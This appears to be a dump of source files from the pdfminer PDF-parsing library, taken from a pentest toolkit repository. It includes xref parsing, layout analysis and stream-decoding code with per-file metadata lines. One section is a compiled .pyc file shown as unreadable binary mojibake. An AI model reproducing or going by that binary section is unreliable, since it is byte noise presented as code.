= PDFXRefStream() xref.load(self, debug=self.debug) else: if token is self.KEYWORD_XREF: self.nextline() xref = PDFXRef() xref.load(self, debug=self.debug) xrefs.append(xref) trailer = xref.get_trailer() if 1 <= self.debug: print >>sys.stderr, 'trailer: %r' % trailer if 'XRefStm' in trailer: pos = int_value(trailer['XRefStm']) self.read_xref_from(pos, xrefs) if 'Prev' in trailer: # find previous xref pos = int_value(trailer['Prev']) self.read_xref_from(pos, xrefs) return # read xref tables and trailers def read_xref(self): """Reads all the XRefs in the PDF file and returns them.""" xrefs = [] try: pos = self.find_xref() self.read_xref_from(pos, xrefs) except PDFNoValidXRef: # fallback if 1 <= self.debug: print >>sys.stderr, 'no xref, fallback' self.fallback = True xref = PDFXRef() xref.load_fallback(self) xrefs.append(xref) return xrefs ## PDFStreamParser ## class PDFStreamParser(PDFParser): """ PDFStreamParser is used to parse PDF content streams that is contained in each page and has instructions for rendering the page. A reference to a PDF document is needed because a PDF content stream can also have indirect references to other objects in the same document. """ def __init__(self, data): PDFParser.__init__(self, StringIO(data)) return def flush(self): self.add_results(*self.popall()) return def do_keyword(self, pos, token): if token is self.KEYWORD_R: # reference to indirect object try: ((_,objid), (_,genno)) = self.pop(2) (objid, genno) = (int(objid), int(genno)) obj = PDFObjRef(self.doc, objid, genno) self.push((pos, obj)) except PSSyntaxError: pass return # others self.push((pos, token)) return
27,593
Python
.py
718
26.82312
99
0.535802
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,802
pdftypes.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/pdftypes.pyc
Ñò Î ÈMc @s,ddkZddkZddklZddklZlZddklZddk l Z l Z ddk l Z l Z lZe dƒZe dƒe d ƒfZe d ƒe d ƒfZe d ƒe d ƒfZe dƒe dƒfZe dƒe dƒfZe dƒe dƒfZe dƒe dƒfZde fd„ƒYZde fd„ƒYZdefd„ƒYZdefd„ƒYZde fd„ƒYZd efd!„ƒYZd"„Zd#„Zd$„Zd%„Z d&„Z!d'„Z"d(„Z#d)„Z$d*„Z%d+„Z&d,efd-„ƒYZ'dS(.iÿÿÿÿN(t lzwdecode(t ascii85decodetasciihexdecode(trldecode(t PSExceptiontPSObject(tLITtKWDtSTRICTtCryptt FlateDecodetFlt LZWDecodetLZWt ASCII85DecodetA85tASCIIHexDecodetAHxtRunLengthDecodetRLtCCITTFaxDecodetCCFt DCTDecodetDCTt PDFObjectcBseZRS((t__name__t __module__(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRst PDFExceptioncBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRst PDFTypeErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRst PDFValueErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRstPDFNotImplementedErrorcBseZRS((RR(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRst PDFObjRefcBs#eZd„Zd„Zd„ZRS(cCs>|djototdƒ‚q(n||_||_dS(NisPDF object id cannot be 0.(RRtdoctobjid(tselfR R!t_((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt__init__$s    cCs d|iS(Ns<PDFObjRef:%d>(R!(R"((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt__repr__-scCs|ii|iƒS(N(R tgetobjR!(R"((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pytresolve0s(RRR$R%R'(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR"s cCs(x!t|tƒo|iƒ}qW|S(sxResolves an object. If this is an array or dictionary, it may still contains some indirect objects inside. (t isinstanceRR'(tx((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pytresolve15scCs¤x!t|tƒo|iƒ}qWt|tƒo+g}|D]}|t|ƒq?~}nBt|tƒo1x.|iƒD]\}}t|ƒ||<q|Wn|S(s¯Recursively resolves the given object and all the internals. Make sure there is no indirect reference within the nested object. This procedure might be slow. (R(RR'tlistt resolve_alltdictt iteritems(R)t_[1]tvtk((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR,?s+ cCs³t|tƒo||||ƒSt|tƒo4g}|D]}|t||||ƒq<~}nKt|tƒo:x7|iƒD]%\}}t||||ƒ||<q‚Wn|S(s,Recursively deciphers the given object. (R(tstrR+t decipher_allR-R.(tdecipherR!tgennoR)R/R0R1((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR3Ns4 !cCs@t|ƒ}t|tƒp totd|ƒ‚ndS|S(NsInteger required: %ri(R*R(tintRR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt int_value[s  cCs@t|ƒ}t|tƒp totd|ƒ‚ndS|S(NsFloat required: %rg(R*R(tfloatRR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt float_valuecs  cCsPt|ƒ}t|tƒp t|tƒp totd|ƒ‚ndS|S(NsInt or Float required: %ri(R*R(R6R8RR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt num_valueks   cCs@t|ƒ}t|tƒp totd|ƒ‚ndS|S(NsString required: %rt(R*R(R2RR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt str_valuess  cCsPt|ƒ}t|tƒp t|tƒp totd|ƒ‚ngS|S(NsList required: %r(R*R(R+ttupleRR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt list_value{s   cCs@t|ƒ}t|tƒp totd|ƒ‚nhS|S(NsDict required: %r(R*R(R-RR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt dict_valueƒs  cCsIt|ƒ}t|tƒp)totd|ƒ‚nthdƒS|S(NsPDFStream required: %rR;(R*R(t PDFStreamRR(R)((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt stream_value‹s  R@cBsteZd d„Zd„Zd„Zd„Zd„Zd d„Zd d„Z d„Z d„Z d „Z d „Z RS( cCsQt|tƒpt‚||_||_||_d|_d|_d|_ dS(N( R(R-tAssertionErrortattrstrawdataR4tNonetdataR!R5(R"RCRDR4((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR$˜s      cCs||_||_dS(N(R!R5(R"R!R5((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt set_objid¢s  cCsƒ|idjo8|idj pt‚d|it|iƒ|ifS|idj pt‚d|it|iƒ|ifSdS(Ns<PDFStream(%r): raw=%d, %r>s<PDFStream(%r): len=%d, %r>(RFRERDRBR!tlenRC(R"((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR%§s !cCs ||ijS(N(RC(R"tname((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt __contains__¯scCs |i|S(N(RC(R"RI((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt __getitem__²scCs|ii||ƒS(N(RCtget(R"RItdefault((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyRLµscCs1x*|D]"}||ijo |i|SqW|S(N(RC(R"tnamesRMRI((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pytget_any¸s cCs7|idƒ}|pgSt|tƒo|S|gS(NtFtFilter(RPsFilter(ROR(R+(R"tfilters((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt get_filters¾s c CsÎ|idjo|idjpt‚|i}|io|i|i|i|ƒ}n|iƒ}|p||_d|_dSx2|D]*}|tjo6yt i |ƒ}Wq•t i j o d}q•XnÃ|t jot |ƒ}n¦|tjot|ƒ}n‰|tjot|ƒ}nl|tjot|ƒ}nO|tjotd|ƒ‚n.|tjotdƒ‚ntd|ƒ‚|idhƒ}d|jod|joót|dƒ}t|dƒ}|oÈ|d jotd |ƒ‚nd}d |}xŠtd t|ƒ|d ƒD]l} || }|| d | d |!} |djo&did„t|| ƒDƒƒ} n|| 7}| }q6W|}q´qŠqŠW||_d|_dS(NR;sUnsupported filter: %rs/Crypt filter is unsupportedtDPt DecodeParmst FDecodeParmst PredictortColumnsi sUnsupported predictor: %rtiiscss9x2|]+\}}tt|ƒt|ƒd@ƒVqWdS(iÿN(tchrtord(t.0tatb((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pys <genexpr>ôs (RTRURV(RFRERDRBR4R!R5RStLITERALS_FLATE_DECODEtzlibt decompressterrortLITERALS_LZW_DECODERtLITERALS_ASCII85_DECODERtLITERALS_ASCIIHEX_DECODERtLITERALS_RUNLENGTH_DECODERtLITERALS_CCITTFAX_DECODERt LITERAL_CRYPTROR7txrangeRHtjointzip( R"RFRRtftparamstpredtcolumnstbuftent0titent1((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pytdecodeÄsd'                &    cCs%|idjo|iƒn|iS(N(RFRERt(R"((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pytget_dataüscCs|iS(N(RD(R"((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt get_rawdatasN(RRRER$RGR%RJRKRLRORSRtRuRv(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyR@–s        8 ((tsysR`tlzwRtascii85RRt runlengthRtpsparserRRRRRRhR_RcRdReRfRgtLITERALS_DCT_DECODERRRRRRR*R,R3R7R9R:R<R>R?RAR@(((s;/pentest/enumeration/google/metagoofil/pdfminer/pdftypes.pyt<module>s>          
10,784
Python
.py
40
267.6
1,716
0.415588
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,803
layout.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/layout.py
#!/usr/bin/env python2 import sys from utils import INF, Plane, get_bound, uniq, csort, fsplit from utils import bbox2str, matrix2str, apply_matrix_pt ## LAParams ## class LAParams(object): def __init__(self, line_overlap=0.5, char_margin=2.0, line_margin=0.5, word_margin=0.1, boxes_flow=0.5, detect_vertical=False, all_texts=False): self.line_overlap = line_overlap self.char_margin = char_margin self.line_margin = line_margin self.word_margin = word_margin self.boxes_flow = boxes_flow self.detect_vertical = detect_vertical self.all_texts = all_texts return def __repr__(self): return ('<LAParams: char_margin=%.1f, line_margin=%.1f, word_margin=%.1f all_texts=%r>' % (self.char_margin, self.line_margin, self.word_margin, self.all_texts)) ## LTItem ## class LTItem(object): def __init__(self, bbox): self.set_bbox(bbox) return def __repr__(self): return ('<%s %s>' % (self.__class__.__name__, bbox2str(self.bbox))) def set_bbox(self, (x0,y0,x1,y1)): self.x0 = x0 self.y0 = y0 self.x1 = x1 self.y1 = y1 self.width = x1-x0 self.height = y1-y0 self.bbox = (x0, y0, x1, y1) return def is_empty(self): return self.width <= 0 or self.height <= 0 def is_hoverlap(self, obj): assert isinstance(obj, LTItem) return obj.x0 <= self.x1 and self.x0 <= obj.x1 def hdistance(self, obj): assert isinstance(obj, LTItem) if self.is_hoverlap(obj): return 0 else: return min(abs(self.x0-obj.x1), abs(self.x1-obj.x0)) def hoverlap(self, obj): assert isinstance(obj, LTItem) if self.is_hoverlap(obj): return min(abs(self.x0-obj.x1), abs(self.x1-obj.x0)) else: return 0 def is_voverlap(self, obj): assert isinstance(obj, LTItem) return obj.y0 <= self.y1 and self.y0 <= obj.y1 def vdistance(self, obj): assert isinstance(obj, LTItem) if self.is_voverlap(obj): return 0 else: return min(abs(self.y0-obj.y1), abs(self.y1-obj.y0)) def voverlap(self, obj): assert isinstance(obj, LTItem) if self.is_voverlap(obj): return min(abs(self.y0-obj.y1), abs(self.y1-obj.y0)) else: return 0 ## LTCurve ## class LTCurve(LTItem): def __init__(self, linewidth, pts): self.pts = pts self.linewidth = linewidth LTItem.__init__(self, get_bound(pts)) return def get_pts(self): return ','.join( '%.3f,%.3f' % p for p in self.pts ) ## LTLine ## class LTLine(LTCurve): def __init__(self, linewidth, p0, p1): LTCurve.__init__(self, linewidth, [p0, p1]) return ## LTRect ## class LTRect(LTCurve): def __init__(self, linewidth, (x0,y0,x1,y1)): LTCurve.__init__(self, linewidth, [(x0,y0), (x1,y0), (x1,y1), (x0,y1)]) return ## LTImage ## class LTImage(LTItem): def __init__(self, name, stream, bbox): LTItem.__init__(self, bbox) self.name = name self.stream = stream self.srcsize = (stream.get_any(('W', 'Width')), stream.get_any(('H', 'Height'))) self.imagemask = stream.get_any(('IM', 'ImageMask')) self.bits = stream.get_any(('BPC', 'BitsPerComponent'), 1) self.colorspace = stream.get_any(('CS', 'ColorSpace')) if not isinstance(self.colorspace, list): self.colorspace = [self.colorspace] return def __repr__(self): (w,h) = self.srcsize return ('<%s(%s) %s %dx%d>' % (self.__class__.__name__, self.name, bbox2str(self.bbox), w, h)) ## LTText ## class LTText(object): def __init__(self, text): self.text = text return def __repr__(self): return ('<%s %r>' % (self.__class__.__name__, self.text)) ## LTAnon ## class LTAnon(LTText): pass ## LTChar ## class LTChar(LTItem, LTText): debug = 0 def __init__(self, matrix, font, fontsize, scaling, rise, text, textwidth, textdisp): LTText.__init__(self, text) self.matrix = matrix self.fontname = font.fontname self.adv = textwidth * fontsize * scaling # compute the boundary rectangle. if font.is_vertical(): # vertical width = font.get_width() * fontsize (vx,vy) = textdisp if vx is None: vx = width/2 else: vx = vx * fontsize * .001 vy = (1000 - vy) * fontsize * .001 tx = -vx ty = vy + rise bll = (tx, ty+self.adv) bur = (tx+width, ty) else: # horizontal height = font.get_height() * fontsize descent = font.get_descent() * fontsize ty = descent + rise bll = (0, ty) bur = (self.adv, ty+height) (a,b,c,d,e,f) = self.matrix self.upright = (0 < a*d*scaling and b*c <= 0) (x0,y0) = apply_matrix_pt(self.matrix, bll) (x1,y1) = apply_matrix_pt(self.matrix, bur) if x1 < x0: (x0,x1) = (x1,x0) if y1 < y0: (y0,y1) = (y1,y0) LTItem.__init__(self, (x0,y0,x1,y1)) if font.is_vertical(): self.size = self.width else: self.size = self.height return def __repr__(self): if self.debug: return ('<%s %s matrix=%s font=%r adv=%s text=%r>' % (self.__class__.__name__, bbox2str(self.bbox), matrix2str(self.matrix), self.fontname, self.adv, self.text)) else: return '<char %r>' % self.text def is_compatible(self, obj): """Returns True if two characters can coexist in the same line.""" return True ## LTContainer ## class LTContainer(LTItem): def __init__(self, bbox): LTItem.__init__(self, bbox) self._objs = [] return def __iter__(self): return iter(self._objs) def __len__(self): return len(self._objs) def add(self, obj): self._objs.append(obj) return def extend(self, objs): for obj in objs: self.add(obj) return ## LTExpandableContainer ## class LTExpandableContainer(LTContainer): def __init__(self): LTContainer.__init__(self, (+INF,+INF,-INF,-INF)) return def add(self, obj): LTContainer.add(self, obj) self.set_bbox((min(self.x0, obj.x0), min(self.y0, obj.y0), max(self.x1, obj.x1), max(self.y1, obj.y1))) return def analyze(self, laparams): """Perform the layout analysis.""" return self ## LTTextLine ## class LTTextLine(LTExpandableContainer, LTText): def __init__(self, word_margin): LTExpandableContainer.__init__(self) self.word_margin = word_margin return def __repr__(self): return ('<%s %s %r>' % (self.__class__.__name__, bbox2str(self.bbox), self.text)) def analyze(self, laparams): LTContainer.add(self, LTAnon('\n')) self.text = ''.join( obj.text for obj in self if isinstance(obj, LTText) ) return LTExpandableContainer.analyze(self, laparams) def find_neighbors(self, plane, ratio): raise NotImplementedError class LTTextLineHorizontal(LTTextLine): def __init__(self, word_margin): LTTextLine.__init__(self, word_margin) self._x1 = +INF return def add(self, obj): if isinstance(obj, LTChar) and self.word_margin: margin = self.word_margin * obj.width if self._x1 < obj.x0-margin: LTContainer.add(self, LTAnon(' ')) self._x1 = obj.x1 LTTextLine.add(self, obj) return def find_neighbors(self, plane, ratio): h = ratio*self.height objs = plane.find((self.x0, self.y0-h, self.x1, self.y1+h)) return [ obj for obj in objs if isinstance(obj, LTTextLineHorizontal) ] class LTTextLineVertical(LTTextLine): def __init__(self, word_margin): LTTextLine.__init__(self, word_margin) self._y0 = -INF return def add(self, obj): if isinstance(obj, LTChar) and self.word_margin: margin = self.word_margin * obj.height if obj.y1+margin < self._y0: LTContainer.add(self, LTAnon(' ')) self._y0 = obj.y0 LTTextLine.add(self, obj) return def find_neighbors(self, plane, ratio): w = ratio*self.width objs = plane.find((self.x0-w, self.y0, self.x1+w, self.y1)) return [ obj for obj in objs if isinstance(obj, LTTextLineVertical) ] ## LTTextBox ## ## A set of text objects that are grouped within ## a certain rectangular area. ## class LTTextBox(LTExpandableContainer): def __init__(self): LTExpandableContainer.__init__(self) self.index = None return def __repr__(self): return ('<%s(%s) %s %r...>' % (self.__class__.__name__, self.index, bbox2str(self.bbox), self.text[:20])) def analyze(self, laparams): self.text = ''.join( obj.text for obj in self if isinstance(obj, LTTextLine) ) return LTExpandableContainer.analyze(self, laparams) class LTTextBoxHorizontal(LTTextBox): def analyze(self, laparams): self._objs = csort(self._objs, key=lambda obj: -obj.y1) return LTTextBox.analyze(self, laparams) def get_writing_mode(self): return 'lr-tb' class LTTextBoxVertical(LTTextBox): def analyze(self, laparams): self._objs = csort(self._objs, key=lambda obj: -obj.x1) return LTTextBox.analyze(self, laparams) def get_writing_mode(self): return 'tb-rl' ## LTTextGroup ## class LTTextGroup(LTExpandableContainer): def __init__(self, objs): LTExpandableContainer.__init__(self) self.extend(objs) return class LTTextGroupLRTB(LTTextGroup): def analyze(self, laparams): # reorder the objects from top-left to bottom-right. self._objs = csort(self._objs, key=lambda obj: (1-laparams.boxes_flow)*(obj.x0) - (1+laparams.boxes_flow)*(obj.y0+obj.y1)) return LTTextGroup.analyze(self, laparams) class LTTextGroupTBRL(LTTextGroup): def analyze(self, laparams): # reorder the objects from top-right to bottom-left. self._objs = csort(self._objs, key=lambda obj: -(1+laparams.boxes_flow)*(obj.x0+obj.x1) -(1-laparams.boxes_flow)*(obj.y1)) return LTTextGroup.analyze(self, laparams) ## LTLayoutContainer ## class LTLayoutContainer(LTContainer): def __init__(self, bbox): LTContainer.__init__(self, bbox) self.layout = None return def analyze(self, laparams): # textobjs is a list of LTChar objects, i.e. # it has all the individual characters in the page. (textobjs, otherobjs) = fsplit(lambda obj: isinstance(obj, LTChar), self._objs) if not textobjs: return textlines = list(self.get_textlines(laparams, textobjs)) assert len(textobjs) <= sum( len(line._objs) for line in textlines ) (empties, textlines) = fsplit(lambda obj: obj.is_empty(), textlines) textboxes = list(self.get_textboxes(laparams, textlines)) assert len(textlines) == sum( len(box._objs) for box in textboxes ) top = self.group_textboxes(laparams, textboxes) def assign_index(obj, i): if isinstance(obj, LTTextBox): obj.index = i i += 1 elif isinstance(obj, LTTextGroup): for x in obj: i = assign_index(x, i) return i assign_index(top, 0) textboxes.sort(key=lambda box:box.index) self._objs = textboxes + otherobjs + empties self.layout = top return self def get_textlines(self, laparams, objs): obj0 = None line = None for obj1 in objs: if obj0 is not None: k = 0 if (obj0.is_compatible(obj1) and obj0.is_voverlap(obj1) and min(obj0.height, obj1.height) * laparams.line_overlap < obj0.voverlap(obj1) and obj0.hdistance(obj1) < max(obj0.width, obj1.width) * laparams.char_margin): # obj0 and obj1 is horizontally aligned: # # +------+ - - - # | obj0 | - - +------+ - # | | | obj1 | | (line_overlap) # +------+ - - | | - # - - - +------+ # # |<--->| # (char_margin) k |= 1 if (laparams.detect_vertical and obj0.is_compatible(obj1) and obj0.is_hoverlap(obj1) and min(obj0.width, obj1.width) * laparams.line_overlap < obj0.hoverlap(obj1) and obj0.vdistance(obj1) < max(obj0.height, obj1.height) * laparams.char_margin): # obj0 and obj1 is vertically aligned: # # +------+ # | obj0 | # | | # +------+ - - - # | | | (char_margin) # +------+ - - # | obj1 | # | | # +------+ # # |<-->| # (line_overlap) k |= 2 if ( (k & 1 and isinstance(line, LTTextLineHorizontal)) or (k & 2 and isinstance(line, LTTextLineVertical)) ): line.add(obj1) elif line is not None: yield line.analyze(laparams) line = None else: if k == 2: line = LTTextLineVertical(laparams.word_margin) line.add(obj0) line.add(obj1) elif k == 1: line = LTTextLineHorizontal(laparams.word_margin) line.add(obj0) line.add(obj1) else: line = LTTextLineHorizontal(laparams.word_margin) line.add(obj0) yield line.analyze(laparams) line = None obj0 = obj1 if line is None: line = LTTextLineHorizontal(laparams.word_margin) line.add(obj0) yield line.analyze(laparams) return def get_textboxes(self, laparams, lines): plane = Plane(lines) boxes = {} for line in lines: neighbors = line.find_neighbors(plane, laparams.line_margin) assert line in neighbors, line members = [] for obj1 in neighbors: members.append(obj1) if obj1 in boxes: members.extend(boxes.pop(obj1)) if isinstance(line, LTTextLineHorizontal): box = LTTextBoxHorizontal() else: box = LTTextBoxVertical() for obj in uniq(members): box.add(obj) boxes[obj] = box done = set() for line in lines: box = boxes[line] if box in done: continue done.add(box) yield box.analyze(laparams) return def group_textboxes(self, laparams, boxes): def dist((x0,y0,x1,y1), obj1, obj2): """A distance function between two TextBoxes. Consider the bounding rectangle for obj1 and obj2. Return its area less the areas of obj1 and obj2, shown as 'www' below. This value may be negative. +------+..........+ (x1,y1) | obj1 |wwwwwwwwww: +------+www+------+ :wwwwwwwwww| obj2 | (x0,y0) +..........+------+ """ return ((x1-x0)*(y1-y0) - obj1.width*obj1.height - obj2.width*obj2.height) boxes = boxes[:] # XXX this is very slow when there're many textboxes. while 2 <= len(boxes): mindist = (INF,0) minpair = None plane = Plane(boxes) boxes = csort(boxes, key=lambda obj: obj.width*obj.height) for i in xrange(len(boxes)): for j in xrange(i+1, len(boxes)): (obj1, obj2) = (boxes[i], boxes[j]) b = (min(obj1.x0,obj2.x0), min(obj1.y0,obj2.y0), max(obj1.x1,obj2.x1), max(obj1.y1,obj2.y1)) others = set(plane.find(b)).difference((obj1,obj2)) d = dist(b, obj1, obj2) # disregard if there's any other object in between. if 0 < d and others: d = (1,d) else: d = (0,d) if mindist <= d: continue mindist = d minpair = (obj1, obj2) assert minpair is not None, boxes (obj1, obj2) = minpair boxes.remove(obj1) boxes.remove(obj2) if (isinstance(obj1, LTTextBoxVertical) or isinstance(obj2, LTTextBoxVertical) or isinstance(obj1, LTTextGroupTBRL) or isinstance(obj2, LTTextGroupTBRL)): group = LTTextGroupTBRL([obj1, obj2]) else: group = LTTextGroupLRTB([obj1, obj2]) boxes.append(group.analyze(laparams)) assert len(boxes) == 1 return boxes.pop() ## LTFigure ## class LTFigure(LTLayoutContainer): def __init__(self, name, bbox, matrix): self.name = name self.matrix = matrix (x,y,w,h) = bbox bbox = get_bound( apply_matrix_pt(matrix, (p,q)) for (p,q) in ((x,y), (x+w,y), (x,y+h), (x+w,y+h)) ) LTLayoutContainer.__init__(self, bbox) return def __repr__(self): return ('<%s(%s) %s matrix=%s>' % (self.__class__.__name__, self.name, bbox2str(self.bbox), matrix2str(self.matrix))) def analyze(self, laparams): if not laparams.all_texts: return return LTLayoutContainer.analyze(self, laparams) ## LTPage ## class LTPage(LTLayoutContainer): def __init__(self, pageid, bbox, rotate=0): LTLayoutContainer.__init__(self, bbox) self.pageid = pageid self.rotate = rotate return def __repr__(self): return ('<%s(%r) %s rotate=%r>' % (self.__class__.__name__, self.pageid, bbox2str(self.bbox), self.rotate))
19,560
Python
.py
518
26.664093
99
0.523789
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,804
pdftypes.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/pdftypes.py
#!/usr/bin/env python2 import sys import zlib from lzw import lzwdecode from ascii85 import ascii85decode, asciihexdecode from runlength import rldecode from psparser import PSException, PSObject from psparser import LIT, KWD, STRICT LITERAL_CRYPT = LIT('Crypt') # Abbreviation of Filter names in PDF 4.8.6. "Inline Images" LITERALS_FLATE_DECODE = (LIT('FlateDecode'), LIT('Fl')) LITERALS_LZW_DECODE = (LIT('LZWDecode'), LIT('LZW')) LITERALS_ASCII85_DECODE = (LIT('ASCII85Decode'), LIT('A85')) LITERALS_ASCIIHEX_DECODE = (LIT('ASCIIHexDecode'), LIT('AHx')) LITERALS_RUNLENGTH_DECODE = (LIT('RunLengthDecode'), LIT('RL')) LITERALS_CCITTFAX_DECODE = (LIT('CCITTFaxDecode'), LIT('CCF')) LITERALS_DCT_DECODE = (LIT('DCTDecode'), LIT('DCT')) ## PDF Objects ## class PDFObject(PSObject): pass class PDFException(PSException): pass class PDFTypeError(PDFException): pass class PDFValueError(PDFException): pass class PDFNotImplementedError(PSException): pass ## PDFObjRef ## class PDFObjRef(PDFObject): def __init__(self, doc, objid, _): if objid == 0: if STRICT: raise PDFValueError('PDF object id cannot be 0.') self.doc = doc self.objid = objid #self.genno = genno # Never used. return def __repr__(self): return '<PDFObjRef:%d>' % (self.objid) def resolve(self): return self.doc.getobj(self.objid) # resolve def resolve1(x): """Resolves an object. If this is an array or dictionary, it may still contains some indirect objects inside. """ while isinstance(x, PDFObjRef): x = x.resolve() return x def resolve_all(x): """Recursively resolves the given object and all the internals. Make sure there is no indirect reference within the nested object. This procedure might be slow. """ while isinstance(x, PDFObjRef): x = x.resolve() if isinstance(x, list): x = [ resolve_all(v) for v in x ] elif isinstance(x, dict): for (k,v) in x.iteritems(): x[k] = resolve_all(v) return x def decipher_all(decipher, objid, genno, x): """Recursively deciphers the given object. """ if isinstance(x, str): return decipher(objid, genno, x) if isinstance(x, list): x = [ decipher_all(decipher, objid, genno, v) for v in x ] elif isinstance(x, dict): for (k,v) in x.iteritems(): x[k] = decipher_all(decipher, objid, genno, v) return x # Type cheking def int_value(x): x = resolve1(x) if not isinstance(x, int): if STRICT: raise PDFTypeError('Integer required: %r' % x) return 0 return x def float_value(x): x = resolve1(x) if not isinstance(x, float): if STRICT: raise PDFTypeError('Float required: %r' % x) return 0.0 return x def num_value(x): x = resolve1(x) if not (isinstance(x, int) or isinstance(x, float)): if STRICT: raise PDFTypeError('Int or Float required: %r' % x) return 0 return x def str_value(x): x = resolve1(x) if not isinstance(x, str): if STRICT: raise PDFTypeError('String required: %r' % x) return '' return x def list_value(x): x = resolve1(x) if not (isinstance(x, list) or isinstance(x, tuple)): if STRICT: raise PDFTypeError('List required: %r' % x) return [] return x def dict_value(x): x = resolve1(x) if not isinstance(x, dict): if STRICT: raise PDFTypeError('Dict required: %r' % x) return {} return x def stream_value(x): x = resolve1(x) if not isinstance(x, PDFStream): if STRICT: raise PDFTypeError('PDFStream required: %r' % x) return PDFStream({}, '') return x ## PDFStream type ## class PDFStream(PDFObject): def __init__(self, attrs, rawdata, decipher=None): assert isinstance(attrs, dict) self.attrs = attrs self.rawdata = rawdata self.decipher = decipher self.data = None self.objid = None self.genno = None return def set_objid(self, objid, genno): self.objid = objid self.genno = genno return def __repr__(self): if self.data is None: assert self.rawdata is not None return '<PDFStream(%r): raw=%d, %r>' % (self.objid, len(self.rawdata), self.attrs) else: assert self.data is not None return '<PDFStream(%r): len=%d, %r>' % (self.objid, len(self.data), self.attrs) def __contains__(self, name): return name in self.attrs def __getitem__(self, name): return self.attrs[name] def get(self, name, default=None): return self.attrs.get(name, default) def get_any(self, names, default=None): for name in names: if name in self.attrs: return self.attrs[name] return default def get_filters(self): filters = self.get_any(('F', 'Filter')) if not filters: return [] if isinstance(filters, list): return filters return [ filters ] def decode(self): assert self.data is None and self.rawdata != None data = self.rawdata if self.decipher: # Handle encryption data = self.decipher(self.objid, self.genno, data) filters = self.get_filters() if not filters: self.data = data self.rawdata = None return for f in filters: if f in LITERALS_FLATE_DECODE: # will get errors if the document is encrypted. try: data = zlib.decompress(data) except zlib.error: data = '' elif f in LITERALS_LZW_DECODE: data = lzwdecode(data) elif f in LITERALS_ASCII85_DECODE: data = ascii85decode(data) elif f in LITERALS_ASCIIHEX_DECODE: data = asciihexdecode(data) elif f in LITERALS_RUNLENGTH_DECODE: data = rldecode(data) elif f in LITERALS_CCITTFAX_DECODE: #data = ccittfaxdecode(data) raise PDFNotImplementedError('Unsupported filter: %r' % f) elif f == LITERAL_CRYPT: # not yet.. raise PDFNotImplementedError('/Crypt filter is unsupported') else: raise PDFNotImplementedError('Unsupported filter: %r' % f) # apply predictors params = self.get_any(('DP', 'DecodeParms', 'FDecodeParms'), {}) if 'Predictor' in params and 'Columns' in params: pred = int_value(params['Predictor']) columns = int_value(params['Columns']) if pred: if pred != 12: raise PDFNotImplementedError('Unsupported predictor: %r' % pred) buf = '' ent0 = '\x00' * columns for i in xrange(0, len(data), columns+1): pred = data[i] ent1 = data[i+1:i+1+columns] if pred == '\x02': ent1 = ''.join( chr((ord(a)+ord(b)) & 255) for (a,b) in zip(ent0,ent1) ) buf += ent1 ent0 = ent1 data = buf self.data = data self.rawdata = None return def get_data(self): if self.data is None: self.decode() return self.data def get_rawdata(self): return self.rawdata
7,735
Python
.py
222
26.022523
100
0.580217
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,805
utils.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/utils.pyc
